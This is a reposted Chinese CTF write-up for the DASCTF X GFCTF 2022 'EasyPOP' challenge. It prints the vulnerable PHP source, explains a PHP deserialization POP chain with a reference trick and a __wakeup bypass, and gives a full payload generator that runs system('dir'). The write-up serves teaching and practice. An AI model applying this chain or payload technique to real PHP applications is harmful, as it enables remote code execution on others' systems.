文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

[DASCTF X GFCTF 2022十月挑战赛]EasyPOP

2023-09-05 12:38

关注

[DASCTF X GFCTF 2022十月挑战赛]EasyPOP

考点:POP链构造

highlight_file(__FILE__);error_reporting(0);class fine{    private $cmd;    private $content;    public function __construct($cmd, $content)    {        $this->cmd = $cmd;        $this->content = $content;    }    public function __invoke()    {        call_user_func($this->cmd, $this->content);    }    public function __wakeup()    {        $this->cmd = "";        die("Go listen to Jay Chou's secret-code! Really nice");    }}class show{    public $ctf;    public $time = "Two and a half years";    public function __construct($ctf)    {        $this->ctf = $ctf;    }    public function __toString()    {        return $this->ctf->show();    }    public function show(): string    {        return $this->ctf . ": Duration of practice: " . $this->time;    }}class sorry{    private $name;    private $password;    public $hint = "hint is depend on you";    public $key;    public function __construct($name, $password)    {        $this->name = $name;        $this->password = $password;    }    public function __sleep()    {        $this->hint = new secret_code();    }    public function __get($name)    {        $name = $this->key;        $name();    }    public function __destruct()    {        if ($this->password == $this->name) {            echo $this->hint;        } else if ($this->name = "jay") {            secret_code::secret();        } else {            echo "This is our code";        }    }    public function getPassword()    {        return $this->password;    }    public function setPassword($password): void    {        $this->password = $password;    }}class secret_code{    protected $code;    public static function secret()    {        include_once "hint.php";        hint();    }    public function __call($name, $arguments)    {        $num = $name;        $this->$num();    }    private function show()    {        return $this->code->secret;    }}if (isset($_GET['pop'])) {    $a = unserialize($_GET['pop']);    $a->setPassword(md5(mt_rand()));} else {    $a = new show("Ctfer");    echo $a->show();}

pop传参进行反序列化操作

构造POP链:

入口是sorry类中的__destruct方法,如果sorry类中的namepassword属性相等就会调用echo $this->hint操作,如果将hint赋值为show类即可调用它的__toString方法

但是源码中调用了

$a->setPassword(md5(mt_rand()));

这个操作,给password设置了一个随机md5加密值,使用取地址&方法绕过(类似于C语言中的取地址)

class sorry{    private $name;    private $password;    public function __construct()    {        $this->name = &$this->password;        $this->password = 1;    }}

此时的链子已经到了show类中的__toString方法,

public function __toString(){    return $this->ctf->show();}

将ctf属性赋值为secret_code类即可调用secret_code类的show方法

$secret_code = new secret_code($s2);$show = new show();$show->ctf = $secret_code;

show()方法

private function show(){    return $this->code->secret;}

code赋值为sorry类即可调用sorry类中的__get方法

__get方法

public function __get($name){    $name = $this->key;    $name();}

key属性赋值为fine类即可调用fine类中的__invoke方法

public function __invoke(){    call_user_func($this->cmd, $this->content);}

链子到这结束。

完整的POP链

sorry::__destruct->show::__toString->secret_code::show->sorry::__get->fine::__invoke

在调用最后一步时,还需要绕过_wakeup

class fine{    private $cmd;    private $content;    public function __construct($cmd, $content)    {        $this->cmd = $cmd;        $this->content = $content;    }    public function __invoke()    {        call_user_func($this->cmd, $this->content);    }    public function __wakeup()    {        $this->cmd = "";        die("Go listen to Jay Chou's secret-code! Really nice");    }}

完整的Payload

class fine{    private $cmd;    private $content;    public function __construct($cmd, $content)    {        $this->cmd = $cmd;        $this->content = $content;    }}class secret_code{    protected $code;    public function __construct($code)    {        $this->code = $code;    }}class show{    public $ctf;}class sorry{    private $name;    private $password;    public function __construct()    {        $this->name = &$this->password;        $this->password = 1;    }}$s2 = new sorry();$s2->key = new fine('system','dir');$secret_code = new secret_code($s2);$show = new show();$show->ctf = $secret_code;$sorry = new sorry();$sorry->hint = $show;$strs = str_replace("fine\":2","fine\":3", serialize($sorry));echo urlencode($strs);

来源地址:https://blog.csdn.net/Yu3511606536/article/details/127591067

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯